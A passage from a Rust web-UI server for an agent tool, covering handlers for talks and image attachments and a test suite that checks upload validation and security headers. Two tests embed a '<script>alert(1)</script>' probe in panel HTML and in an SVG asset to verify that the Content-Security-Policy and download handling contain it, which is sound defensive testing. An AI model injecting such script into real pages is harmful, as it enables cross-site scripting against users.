7158}
7159
7160#[derive(Debug, Deserialize)]
7162struct TalkPersona {
7163 persona: String,
7164}
7165
7166async fn talk_persona(
7170 State(ui): State<Arc<Ui>>,
7171 Path(id): Path<String>,
7172 Json(body): Json<TalkPersona>,
7173) -> ApiResult<Json<TalkView>> {
7174 let id = {
7175 let ui = Arc::clone(&ui);
7176 blocking(move || resolve_talk(&ui.talks, &id)).await?
7177 };
7178 let repo = {
7179 let ui = Arc::clone(&ui);
7180 let id = id.clone();
7181 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7182 };
7183 let cfg = config_for(&repo).await?;
7184 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7185 return Err(ApiError::conflict(
7186 "a talk turn is running; change the persona once it has answered",
7187 ));
7188 };
7189 let switched = {
7190 let ui = Arc::clone(&ui);
7191 let id = id.clone();
7192 let cfg = cfg.clone();
7193 blocking(move || {
7194 let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
7195 return Err(ApiError::bad_request(format!(
7196 "unknown persona `{}`",
7197 body.persona
7198 )));
7199 };
7200 let mut talk = ui.talks.get(&id)?;
7201 if !talk.status.open() {
7202 return Err(ApiError::conflict(format!(
7203 "talk {} is {} and takes no more turns",
7204 talk.short(),
7205 talk.status.as_str()
7206 )));
7207 }
7208 talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
7209 Ok(talk)
7210 })
7211 .await
7212 };
7213 let fresh = {
7215 let ui = Arc::clone(&ui);
7216 let id = id.clone();
7217 blocking(move || Ok(ui.talks.get(&id)?)).await
7218 };
7219 let draining = match fresh {
7220 Ok(talk) => {
7221 let draining = talk.status.open()
7222 && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
7223 let talks = ui.talks.clone();
7224 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7225 draining
7226 }
7227 Err(_) => false,
7228 };
7229 let talk = switched?;
7230 Ok(Json(TalkView::new(talk, draining)))
7231}
7232
7233#[derive(Debug, Deserialize)]
7235struct TalkImplementers {
7236 implementers: u8,
7237}
7238
7239async fn talk_implementers(
7243 State(ui): State<Arc<Ui>>,
7244 Path(id): Path<String>,
7245 Json(body): Json<TalkImplementers>,
7246) -> ApiResult<Json<TalkView>> {
7247 let id = {
7248 let ui = Arc::clone(&ui);
7249 blocking(move || resolve_talk(&ui.talks, &id)).await?
7250 };
7251 let repo = {
7252 let ui = Arc::clone(&ui);
7253 let id = id.clone();
7254 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7255 };
7256 let cfg = config_for(&repo).await?;
7257 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7258 return Err(ApiError::conflict(
7259 "a talk turn is running; change the implementers once it has answered",
7260 ));
7261 };
7262 let switched = {
7263 let ui = Arc::clone(&ui);
7264 let id = id.clone();
7265 let cfg = cfg.clone();
7266 blocking(move || {
7267 let chosen =
7268 talk::check_implementers(body.implementers, &cfg).map_err(ApiError::bad_request)?;
7269 let mut talk = ui.talks.get(&id)?;
7270 if !talk.status.open() {
7271 return Err(ApiError::conflict(format!(
7272 "talk {} is {} and takes no more turns",
7273 talk.short(),
7274 talk.status.as_str()
7275 )));
7276 }
7277 talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
7278 Ok(talk)
7279 })
7280 .await
7281 };
7282 let fresh = {
7284 let ui = Arc::clone(&ui);
7285 let id = id.clone();
7286 blocking(move || Ok(ui.talks.get(&id)?)).await
7287 };
7288 let draining = match fresh {
7289 Ok(talk) => {
7290 let draining = talk.status.open()
7291 && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
7292 let talks = ui.talks.clone();
7293 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7294 draining
7295 }
7296 Err(_) => false,
7297 };
7298 let talk = switched?;
7299 Ok(Json(TalkView::new(talk, draining)))
7300}
7301
7302async fn talk_close(
7304 State(ui): State<Arc<Ui>>,
7305 Path(id): Path<String>,
7306) -> ApiResult<Json<TalkView>> {
7307 blocking(move || {
7308 let id = resolve_talk(&ui.talks, &id)?;
7309 let mut talk = ui.talks.get(&id)?;
7310 talk::close(&mut talk, &ui.talks)?;
7311 let thinking = ui.is_thinking(&talk.id);
7312 Ok(Json(TalkView::new(talk, thinking)))
7313 })
7314 .await
7315}
7316
7317async fn talk_reopen(
7319 State(ui): State<Arc<Ui>>,
7320 Path(id): Path<String>,
7321) -> ApiResult<Json<TalkView>> {
7322 blocking(move || {
7323 let id = resolve_talk(&ui.talks, &id)?;
7324 let mut talk = ui.talks.get(&id)?;
7325 talk::reopen(&mut talk, &ui.talks)?;
7326 let thinking = ui.is_thinking(&talk.id);
7327 Ok(Json(TalkView::new(talk, thinking)))
7328 })
7329 .await
7330}
7331
7332async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
7342 blocking(move || {
7343 let id = resolve_talk(&ui.talks, &id)?;
7344 ui.talks.remove(&id)?;
7345 Ok(StatusCode::NO_CONTENT)
7346 })
7347 .await
7348}
7349
7350fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
7352 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
7353}
7354
7355async fn talk_attachment_post(
7358 State(ui): State<Arc<Ui>>,
7359 Path(id): Path<String>,
7360 headers: HeaderMap,
7361 body: Bytes,
7362) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
7363 let mime = validate_attachment(&headers, &body)?;
7364 let name = filename_header(&headers);
7365 let data = body.to_vec();
7366 blocking(move || {
7367 let id = resolve_talk(&ui.talks, &id)?;
7368 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
7369 Ok((StatusCode::CREATED, Json(att)))
7370 })
7371 .await
7372}
7373
7374async fn talk_attachment_get(
7377 State(ui): State<Arc<Ui>>,
7378 Path((id, att)): Path<(String, String)>,
7379) -> ApiResult<Response> {
7380 blocking(move || {
7381 let id = resolve_talk(&ui.talks, &id)?;
7382 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
7383 return Err(ApiError::not_found(format!(
7384 "talk {id} has no attachment `{att}`"
7385 )));
7386 };
7387 Ok(attachment_response(&meta.mime, data))
7388 })
7389 .await
7390}
7391
7392fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
7403 if data.len() > ATTACHMENT_MAX_BYTES {
7404 return Err(ApiError::bad_request(format!(
7405 "attachment is {} bytes, over the {} MiB limit",
7406 data.len(),
7407 ATTACHMENT_MAX_BYTES / (1024 * 1024)
7408 ))
7409 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
7410 }
7411 if data.is_empty() {
7412 return Err(ApiError::bad_request("attachment is empty"));
7413 }
7414 let declared = declared_mime(headers)?;
7415 match sniffed_mime(data) {
7416 Some(sniffed) if sniffed == declared => Ok(declared),
7417 Some(sniffed) => Err(ApiError::bad_request(format!(
7418 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
7419 ))),
7420 None => Err(ApiError::bad_request(
7421 "the file's bytes do not match any accepted image format",
7422 )),
7423 }
7424}
7425
7426fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
7430 let raw = headers
7431 .get(header::CONTENT_TYPE)
7432 .and_then(|v| v.to_str().ok())
7433 .unwrap_or("")
7434 .split(';')
7435 .next()
7436 .unwrap_or("")
7437 .trim()
7438 .to_ascii_lowercase();
7439 ATTACHMENT_MIME_WHITELIST
7440 .iter()
7441 .find(|&&m| m == raw)
7442 .copied()
7443 .ok_or_else(|| {
7444 if raw == "image/svg+xml" {
7445 ApiError::bad_request(
7446 "SVG is not accepted: it can carry active content (e.g. a <script>), \
7447 not just a picture",
7448 )
7449 } else if raw.is_empty() {
7450 ApiError::bad_request("Content-Type is required for an attachment upload")
7451 } else {
7452 ApiError::bad_request(format!(
7453 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
7454 image/gif or image/webp"
7455 ))
7456 }
7457 })
7458}
7459
7460fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
7463 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
7464 Some("image/png")
7465 } else if data.starts_with(b"\xff\xd8\xff") {
7466 Some("image/jpeg")
7467 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
7468 Some("image/gif")
7469 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
7470 Some("image/webp")
7471 } else {
7472 None
7473 }
7474}
7475
7476fn filename_header(headers: &HeaderMap) -> String {
7482 headers
7483 .get(FILENAME_HEADER)
7484 .and_then(|v| v.to_str().ok())
7485 .map(str::trim)
7486 .filter(|s| !s.is_empty())
7487 .unwrap_or("attachment")
7488 .to_owned()
7489}
7490
7491fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
7498 let content_type = ATTACHMENT_MIME_WHITELIST
7499 .iter()
7500 .find(|&&m| m == mime)
7501 .copied()
7502 .unwrap_or("application/octet-stream");
7503 (
7504 [
7505 (header::CONTENT_TYPE, content_type),
7506 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
7507 ],
7508 body,
7509 )
7510 .into_response()
7511}
7512
7513async fn config_for(repo: &FsPath) -> ApiResult<Config> {
7521 let repo = repo.to_path_buf();
7522 blocking(move || {
7523 let (cfg, _) = Config::discover(&repo, None)?;
7524 Ok(cfg)
7525 })
7526 .await
7527}
7528
7529fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
7535 let mut hits = ids
7536 .into_iter()
7537 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
7538 match (hits.next(), hits.next()) {
7539 (Some(one), None) => Ok(one),
7540 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
7541 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
7542 "`{prefix}` matches more than one {what}, including {a} and {b}"
7543 ))),
7544 }
7545}
7546
7547#[cfg(test)]
7548mod tests {
7549
7550 #[test]
7551 fn holder_reads_the_lease_not_the_record() {
7552 let mut q = Question::new(
7553 "run".to_owned(),
7554 "implement".to_owned(),
7555 "impl-A".to_owned(),
7556 "which?".to_owned(),
7557 String::new(),
7558 Vec::new(),
7559 );
7560 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
7561 q.cwd = Some("/tmp".to_owned());
7562 assert_eq!(holder_of(&q, None), Some("nobody"));
7563 let beat = |kind, ago: i64| ask::Lease {
7564 kind,
7565 pid: 1,
7566 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
7567 .unwrap(),
7568 };
7569 let fresh = beat(ask::WaiterKind::Asker, 1);
7570 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
7571 let daemon = beat(ask::WaiterKind::Daemon, 1);
7572 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
7573 let stale = beat(ask::WaiterKind::Asker, 3600);
7574 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
7575
7576 let mut c = Question::new(
7579 "task".to_owned(),
7580 crate::conduct::NODE.to_owned(),
7581 "conduct".to_owned(),
7582 "which?".to_owned(),
7583 String::new(),
7584 Vec::new(),
7585 );
7586 assert_eq!(holder_of(&c, None), Some("nobody"));
7587 c.cwd = Some("/tmp".to_owned());
7588 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
7589 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
7590 let deputy = beat(ask::WaiterKind::Deputy, 1);
7591 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
7592 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
7593
7594 let mut r = Question::new(
7596 String::new(),
7597 crate::bump::NOTICE_NODE.to_owned(),
7598 "release-watch".to_owned(),
7599 "stuck?".to_owned(),
7600 String::new(),
7601 vec!["hold".to_owned()],
7602 );
7603 assert_eq!(holder_of(&r, None), Some("nobody"));
7604 r.deputy = Some(ask::Deputy::new("brief".to_owned()));
7605 assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
7606 r.deputy = None;
7608 r.seat = "bump".to_owned();
7609 assert_eq!(holder_of(&r, None), None);
7610
7611 let mut m = Question::new(
7614 "run".to_owned(),
7615 crate::land::APPROVAL_NODE.to_owned(),
7616 "land".to_owned(),
7617 "merge?".to_owned(),
7618 String::new(),
7619 Vec::new(),
7620 );
7621 assert_eq!(holder_of(&m, None), Some("nobody"));
7622 assert_eq!(
7623 holder_of(&m, Some(&fresh)),
7624 Some("nobody"),
7625 "a lease with no deputy is not a listener"
7626 );
7627 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
7628 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
7629 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
7630 assert_eq!(holder_of(&m, None), Some("nobody"));
7631 }
7632
7633 fn stub_config() -> Config {
7634 Config {
7637 agents: vec![crate::config::AgentSpec {
7638 id: "stub".to_owned(),
7639 kind: AgentKind::Command,
7640 model: None,
7641 command: vec!["true".to_owned()],
7642 extra_args: Vec::new(),
7643 env: Default::default(),
7644 prompt_delivery: None,
7645 }],
7646 ..Config::default()
7647 }
7648 }
7649
7650 fn plain_question(seat: &str) -> Question {
7651 Question::new(
7652 String::new(),
7653 "n".to_owned(),
7654 seat.to_owned(),
7655 "s".to_owned(),
7656 String::new(),
7657 Vec::new(),
7658 )
7659 }
7660
7661 #[test]
7662 fn deputies_enabled_follows_the_config() {
7663 let on = stub_config();
7664 assert!(crate::deputy::can_start(Some(&on), ""));
7665 assert!(crate::deputy::can_start(Some(&on), "stub"));
7666 let mut off = on.clone();
7667 off.daemon.max_deputies = 0;
7668 assert!(!crate::deputy::can_start(Some(&off), ""));
7669 let mut empty = on;
7670 empty.agents.clear();
7671 assert!(!crate::deputy::can_start(Some(&empty), ""));
7672 assert!(!crate::deputy::can_start(None, ""));
7673 }
7674
7675 #[test]
7676 fn question_views_load_the_config_once() {
7677 let dir = TempDir::new().unwrap();
7678 let store = ask::Questions::at(dir.path().to_path_buf());
7679 let mut with_deputy = plain_question("b");
7680 with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
7681 let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
7682
7683 let calls = std::cell::Cell::new(0usize);
7684 let views = question_views(qs.clone(), &store, || {
7685 calls.set(calls.get() + 1);
7686 Some(stub_config())
7687 });
7688 assert_eq!(calls.get(), 1);
7689 assert_eq!(views.len(), 3);
7690 for (v, q) in views.iter().zip(&qs) {
7691 assert_eq!(
7692 v.deputies_enabled,
7693 crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
7694 );
7695 }
7696
7697 let views = question_views(qs, &store, || None);
7698 assert!(views.iter().all(|v| !v.deputies_enabled));
7699
7700 let calls = std::cell::Cell::new(0usize);
7701 let views = question_views(Vec::new(), &store, || {
7702 calls.set(calls.get() + 1);
7703 None
7704 });
7705 assert!(views.is_empty());
7706 assert_eq!(calls.get(), 0);
7707 }
7708
7709 use pretty_assertions::assert_eq;
7710 use serde_json::Value;
7711 use tempfile::TempDir;
7712 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
7713
7714 use super::*;
7715 use crate::config::Config;
7716 use crate::queue::Source;
7717
7718 const SETTLE_STEPS: usize = 3_000;
7729
7730 struct Fixture {
7736 home: TempDir,
7737 addr: SocketAddr,
7738 }
7739
7740 impl Fixture {
7741 async fn start() -> Self {
7742 Self::with_loop(launch_idle).await
7743 }
7744
7745 async fn with_loop(launch: Launch) -> Self {
7747 let home = TempDir::new().expect("temp home");
7748 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
7749 Self { home, addr }
7750 }
7751
7752 async fn with_repo(repo: PathBuf) -> Self {
7756 let home = TempDir::new().expect("temp home");
7757 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
7758 Self { home, addr }
7759 }
7760
7761 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
7764 let home = TempDir::new().expect("temp home");
7765 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
7766 Self { home, addr }
7767 }
7768
7769 async fn serve(
7770 home: &FsPath,
7771 repo: PathBuf,
7772 launch: Launch,
7773 machine: Option<PathBuf>,
7774 ) -> SocketAddr {
7775 let queue = Queue::at(home.join("queue"));
7776 let runs = home.join("runs");
7777 std::fs::create_dir_all(&runs).expect("runs dir");
7778 let worktrees = home.join("wt").join("magi");
7779 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
7780 let ui = Ui::new(
7781 queue,
7782 Questions::at(home.join("questions")),
7783 Talks::at(home.join("talks")),
7784 runs,
7785 home.to_path_buf(),
7786 repo,
7787 )
7788 .with_worktrees_root(worktrees)
7789 .with_machine_config(machine)
7790 .with_launch(launch);
7791 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
7792 .await
7793 .expect("bind loopback");
7794 let addr = listener.local_addr().expect("local addr");
7795 tokio::spawn(async move {
7796 let _ = axum::serve(listener, ui.router()).await;
7797 });
7798 addr
7799 }
7800
7801 fn queue(&self) -> Queue {
7802 Queue::at(self.home.path().join("queue"))
7803 }
7804
7805 fn questions(&self) -> Questions {
7806 Questions::at(self.home.path().join("questions"))
7807 }
7808
7809 fn talks(&self) -> Talks {
7810 Talks::at(self.home.path().join("talks"))
7811 }
7812
7813 fn runs(&self) -> PathBuf {
7814 self.home.path().join("runs")
7815 }
7816
7817 async fn get(&self, path: &str) -> Res {
7818 request(self.addr, "GET", path, None).await
7819 }
7820
7821 async fn head(&self, path: &str) -> Res {
7826 request(self.addr, "HEAD", path, None).await
7827 }
7828
7829 async fn post(&self, path: &str, body: Option<&str>) -> Res {
7830 request(self.addr, "POST", path, body).await
7831 }
7832
7833 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
7834 request_with(self.addr, "GET", path, None, extra).await
7835 }
7836
7837 async fn delete(&self, path: &str) -> Res {
7838 request(self.addr, "DELETE", path, None).await
7839 }
7840
7841 async fn put(&self, path: &str, body: &str) -> Res {
7842 request(self.addr, "PUT", path, Some(body)).await
7843 }
7844
7845 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
7847 request_bytes(self.addr, path, headers, body).await
7848 }
7849 }
7850
7851 struct Res {
7852 status: u16,
7853 headers: String,
7854 head: String,
7859 body: String,
7860 bytes: Vec<u8>,
7864 }
7865
7866 impl Res {
7867 fn json(&self) -> Value {
7868 serde_json::from_str(&self.body)
7869 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
7870 }
7871
7872 fn header(&self, name: &str) -> Option<&str> {
7874 self.head.lines().find_map(|line| {
7875 let (key, value) = line.split_once(':')?;
7876 key.trim()
7877 .eq_ignore_ascii_case(name)
7878 .then(|| value.trim_start().trim_end_matches('\r'))
7879 })
7880 }
7881 }
7882
7883 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
7886 request_with(addr, method, path, body, &[]).await
7887 }
7888
7889 async fn request_with(
7893 addr: SocketAddr,
7894 method: &str,
7895 path: &str,
7896 body: Option<&str>,
7897 extra: &[(&str, &str)],
7898 ) -> Res {
7899 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
7900 for (name, value) in extra {
7901 head.push_str(&format!("{name}: {value}\r\n"));
7902 }
7903 if let Some(body) = body {
7904 head.push_str("Content-Type: application/json\r\n");
7905 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
7906 }
7907 head.push_str("\r\n");
7908 if let Some(body) = body {
7909 head.push_str(body);
7910 }
7911 let mut socket = tokio::net::TcpStream::connect(addr)
7912 .await
7913 .expect("connect to the test server");
7914 socket
7915 .write_all(head.as_bytes())
7916 .await
7917 .expect("write request");
7918 let mut raw = Vec::new();
7919 socket.read_to_end(&mut raw).await.expect("read response");
7920 let split = raw
7923 .windows(4)
7924 .position(|w| w == b"\r\n\r\n")
7925 .expect("a header block");
7926 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
7927 let bytes = raw[split + 4..].to_vec();
7928 let status = head
7929 .lines()
7930 .next()
7931 .and_then(|line| line.split_whitespace().nth(1))
7932 .and_then(|code| code.parse().ok())
7933 .expect("a status line");
7934 Res {
7935 status,
7936 headers: head.to_lowercase(),
7937 head,
7938 body: String::from_utf8_lossy(&bytes).into_owned(),
7939 bytes,
7940 }
7941 }
7942
7943 async fn request_bytes(
7949 addr: SocketAddr,
7950 path: &str,
7951 headers: &[(&str, &str)],
7952 body: &[u8],
7953 ) -> Res {
7954 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
7955 for (name, value) in headers {
7956 head.push_str(&format!("{name}: {value}\r\n"));
7957 }
7958 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
7959 let mut socket = tokio::net::TcpStream::connect(addr)
7960 .await
7961 .expect("connect to the test server");
7962 socket
7963 .write_all(head.as_bytes())
7964 .await
7965 .expect("write request head");
7966 socket.write_all(body).await.expect("write request body");
7967 let mut raw = Vec::new();
7968 socket.read_to_end(&mut raw).await.expect("read response");
7969 let split = raw
7970 .windows(4)
7971 .position(|w| w == b"\r\n\r\n")
7972 .expect("a header block");
7973 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
7974 let bytes = raw[split + 4..].to_vec();
7975 let status = head
7976 .lines()
7977 .next()
7978 .and_then(|line| line.split_whitespace().nth(1))
7979 .and_then(|code| code.parse().ok())
7980 .expect("a status line");
7981 Res {
7982 status,
7983 headers: head.to_lowercase(),
7984 head,
7985 body: String::from_utf8_lossy(&bytes).into_owned(),
7986 bytes,
7987 }
7988 }
7989
7990 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
7992 let mut state = RunState::new(
7993 PathBuf::from("/repo/magi"),
7994 "main".to_owned(),
7995 "0123456789abcdef".to_owned(),
7996 "Add a web UI\n\nMobile first.".to_owned(),
7997 Config::default(),
7998 );
7999 state.id = id.to_owned();
8000 state.status = status;
8001 let dir = runs.join(id);
8002 std::fs::create_dir_all(&dir).expect("run dir");
8003 std::fs::write(
8004 dir.join("run.json"),
8005 serde_json::to_string_pretty(&state).expect("serialize run"),
8006 )
8007 .expect("write run.json");
8008 }
8009
8010 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
8014 let mut state = RunState::new(
8015 PathBuf::from(repo),
8016 "main".to_owned(),
8017 "0123456789abcdef".to_owned(),
8018 "task".to_owned(),
8019 Config::default(),
8020 );
8021 state.id = id.to_owned();
8022 state.status = status;
8023 let dir = runs.join(id);
8024 std::fs::create_dir_all(&dir).expect("run dir");
8025 std::fs::write(
8026 dir.join("run.json"),
8027 serde_json::to_string_pretty(&state).expect("serialize run"),
8028 )
8029 .expect("write run.json");
8030 }
8031
8032 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
8033 let body = serde_json::json!({
8034 "schema": 1,
8035 "pid": 4242,
8036 "started_at": Timestamp::now().to_string(),
8037 "updated_at": updated_at.to_string(),
8038 "idle": false,
8039 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
8040 "completed": 7,
8041 "polls": 143,
8042 });
8043 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
8044 }
8045
8046 fn launch_idle(
8056 _opts: daemon::Opts,
8057 stop: daemon::Stop,
8058 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
8059 Box::pin(async move {
8060 while !stop.stopped() {
8061 tokio::time::sleep(Duration::from_millis(2)).await;
8062 }
8063 Ok(())
8064 })
8065 }
8066
8067 fn launch_broken(
8070 _opts: daemon::Opts,
8071 _stop: daemon::Stop,
8072 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
8073 static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
8078 let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
8079 Box::pin(async move {
8080 Err(anyhow::anyhow!(if first {
8081 "publish the daemon status file: read-only file system"
8082 } else {
8083 "the restarted stand-in failed as well"
8084 }))
8085 })
8086 }
8087
8088 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
8095 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
8096
8097 fn launch_knocking_on_the_way_out(
8104 _opts: daemon::Opts,
8105 stop: daemon::Stop,
8106 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
8107 Box::pin(async move {
8108 while !stop.stopped() {
8109 tokio::time::sleep(Duration::from_millis(2)).await;
8110 }
8111 let addr = PARK_KNOCK
8112 .lock()
8113 .expect("park knock")
8114 .expect("the test set an address");
8115 let heard = request(addr, "GET", "/api/health", None).await.status;
8116 *PARK_HEARD.lock().expect("park heard") = Some(heard);
8117 Ok(())
8118 })
8119 }
8120
8121 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
8130 for _ in 0..SETTLE_STEPS {
8131 let view = fx.get("/api/loop").await.json();
8132 if want(&view) {
8133 return view;
8134 }
8135 tokio::time::sleep(Duration::from_millis(10)).await;
8136 }
8137 panic!(
8138 "the loop never settled: {}",
8139 fx.get("/api/loop").await.json()
8140 );
8141 }
8142
8143 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
8145 let store = fx.questions();
8146 let mut q = Question::new(
8147 "20260902-000000-beef".to_owned(),
8148 "implement".to_owned(),
8149 "impl-A".to_owned(),
8150 summary.to_owned(),
8151 "because it matters".to_owned(),
8152 choices.iter().map(|c| (*c).to_owned()).collect(),
8153 );
8154 store.put(&mut q).expect("put question");
8155 q.id
8156 }
8157
8158 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
8164 let store = fx.questions();
8165 let mut q = Question::new(
8166 "20260902-000000-beef".to_owned(),
8167 "land".to_owned(),
8168 "fix".to_owned(),
8169 "Merge this?".to_owned(),
8170 "the diff is in the panel".to_owned(),
8171 vec!["merge".to_owned(), "hold".to_owned()],
8172 );
8173 let staging = fx.home.path().join("staging");
8176 std::fs::create_dir_all(&staging).expect("staging dir");
8177 let sources: Vec<PathBuf> = assets
8178 .iter()
8179 .map(|(name, bytes)| {
8180 let path = staging.join(name);
8181 std::fs::write(&path, bytes).expect("write staged asset");
8182 path
8183 })
8184 .collect();
8185 store
8186 .put_panel(&mut q, html, &sources)
8187 .expect("write the panel");
8188 store.put(&mut q).expect("put question");
8189 q.id
8190 }
8191
8192 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
8201 seed_talk_at(&fx.talks(), id, status)
8202 }
8203
8204 fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
8205 std::fs::create_dir_all(store.root()).expect("talks dir");
8206 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
8207 .expect("serialize a seat");
8208 let body = serde_json::json!({
8209 "schema": 1,
8210 "id": id,
8211 "repo": "/repo/magi",
8212 "agent": "mock",
8213 "status": status,
8214 "turns": [],
8215 "created_at": Timestamp::now().to_string(),
8216 "updated_at": Timestamp::now().to_string(),
8217 "seat": seat,
8218 });
8219 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
8220 store.get(id).expect("the seeded talk has to be readable");
8221 id.to_owned()
8222 }
8223
8224 #[tokio::test]
8225 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
8226 let fx = Fixture::start().await;
8227 let id = panel(
8228 &fx,
8229 "<h1>Merge?</h1><img src=\"diff.svg\">",
8230 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
8231 );
8232
8233 for path in [
8234 format!("/api/questions/{id}/panel"),
8235 format!("/api/questions/{id}/asset/diff.svg"),
8236 ] {
8237 let res = fx.get(&path).await;
8238 assert_eq!(res.status, 200, "{path}: {}", res.body);
8239 assert_eq!(
8245 res.header("content-security-policy"),
8246 Some(
8247 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
8248 font-src data:; base-uri 'none'; form-action 'none'; \
8249 frame-ancestors 'self'"
8250 ),
8251 "{path} is the only thing between a hostile panel and the tailnet"
8252 );
8253 assert_eq!(
8254 res.header("x-content-type-options"),
8255 Some("nosniff"),
8256 "{path}: a browser must not re-decide the type we sent"
8257 );
8258 assert_eq!(
8259 res.header("referrer-policy"),
8260 Some("no-referrer"),
8261 "{path}: a panel must not leak the question id off the machine"
8262 );
8263
8264 let pre = fx.head(&path).await;
8269 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
8270 assert_eq!(
8271 pre.header("content-security-policy"),
8272 res.header("content-security-policy"),
8273 "{path}: the preflight carries the same policy"
8274 );
8275 assert_eq!(
8276 pre.header("content-type"),
8277 res.header("content-type"),
8278 "{path}: the preflight carries the same type"
8279 );
8280 }
8281 }
8282
8283 #[tokio::test]
8284 async fn a_panel_reaches_the_browser_byte_for_byte() {
8285 let fx = Fixture::start().await;
8286 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
8291 let id = panel(&fx, html, &[]);
8292
8293 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
8294
8295 assert_eq!(res.status, 200);
8296 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
8297 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
8298 assert_eq!(
8299 res.header("content-disposition"),
8300 None,
8301 "the panel itself is rendered in the frame, not downloaded"
8302 );
8303 }
8304
8305 #[tokio::test]
8306 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
8307 let fx = Fixture::start().await;
8308 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
